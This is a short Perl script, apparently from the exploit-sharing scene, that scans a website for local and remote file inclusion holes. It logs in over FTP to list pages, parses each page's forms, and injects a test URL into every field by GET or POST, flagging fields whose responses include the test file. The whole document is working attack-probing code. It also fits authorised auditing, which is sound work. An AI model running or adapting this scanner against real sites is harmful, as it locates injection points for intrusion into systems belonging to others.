###################################################################################
#
# Author: darkjoker
#
# Site: http://darkjokerside.altervista.org
#
# Program: AFI scanner
#
# Usage: perl afi_scanner.pl <hostname> <ftp_username> <ftp_password> <test_file>
#
# <hostname>: Hostname where you want to do scan.
#
# <ftp_username>: FTP username of specific hostname.
#
# <ftp_password>: FTP password of specific hostname.
#
# <test_file>: File you want to include (syntax: http://site/file
#              if you want to scan LFI please use a file in same directory of
#              scanned files.
#
###################################################################################
 
#!/usr/bin/perl
 
use IO::Socket;
use Net::FTP;
 
sub usage {
        die "Usage: perl $0 <hostname> <ftp_username> <ftp_password>  <test_file>\n";
}
$host = shift or usage;
$ftp_user = shift or usage;
$ftp_pass = shift or usage;
$test_file = shift or usage;
 
$ftp = Net::FTP->new ($host) or die "$!\n";
$ftp->login ($ftp_user, $ftp_pass) or die "$!\n";
@files = $ftp->ls();
$ftp->quit();
$test_file =~ /http:\/\/(.+?)(\/.+)/;
$test_host = $1;
$test_page = $2;
my $sock = new IO::Socket::INET (
        PeerHost => $test_host,
        PeerPort => '80',
        Proto => 'tcp',
) or die "$!\n";
print $sock "GET $test_page\r\n\r\n";
my ($test);
while (<$sock>){
        $test .= $_;
}
close ($sock);
foreach (@files){
        my (@vars);
        my (@methods);
        $file = $_;
        my $sock = new IO::Socket::INET (
                PeerHost => $host,
                PeerPort => '80',
                Proto => 'tcp',
        ) or die "$!\n";
        print $sock "GET /".$file."\r\n\r\n";
        while (<$sock>){
                chomp ($_);
                $page .= $_;
        }
        while ($page =~ /<form.+?method.+?('|")(.+?)('|")/){
                $method = $2;
                $page =~ /<form.+?>(.+?)<\/form>/;
                $in = $1;
                while ($in =~ /(input|textarea).+?name.+?('|")(.+?)('|")/){
                        $var_name = $3;
                        push (@vars, $var_name);
                        push (@methods, $method);
                        $in =~ s/<(input|textarea).+?>//;
                }
                $page =~ s/<form.+?>//;
        }
        close ($sock);
        $cont = 0;
 
        while ($cont < scalar (@vars)){
                my $sock = new IO::Socket::INET (
                        PeerHost => $host,
                        PeerPort => '80',
                        Proto => 'tcp',
                );
                if ($test_file =~ /$host/){
                        $test_page =~ /(.+)\/(.+)/;
                        $to_include = $2;
                }
                else {
                        $to_include = $test_file;
                }
                if (@methods [$cont] =~ /GET/){
                        print $sock "GET /".$file."?".@vars [$cont]."=".$to_include."\r\n\r\n";
                }
                elsif (@methods [$cont] =~ /POST/){
                        $var = @vars [$cont] . "=".$to_include;
                        print $sock "POST /".$file."\n".
                        "Host: $host\n".
                        "Content-Type: application/x-www-form-urlencoded\n".
                        "Content-Length: ".length($var)."\n\n".
                        $var."\n\n"; 
                }
                else {
                        die $file . " -> ".@methods [$cont] . ": Unknow method.\n";
                }
                my ($res);
                while (<$sock>){
                        $res .= $_;
                }
                if ($res =~ /$test/){
                        if ($test_host =~ /^$host$/){
                                print $file . ": Probably LFI on '" . @vars [$cont] . "' variable.\n";
                        }
                        else {
                                print $file . ": Probably RFI on '" . @vars [$cont] . "' variable.\n";
                        }
                }
                $cont++;
                close ($sock);
        }
}
print "\nDone\n";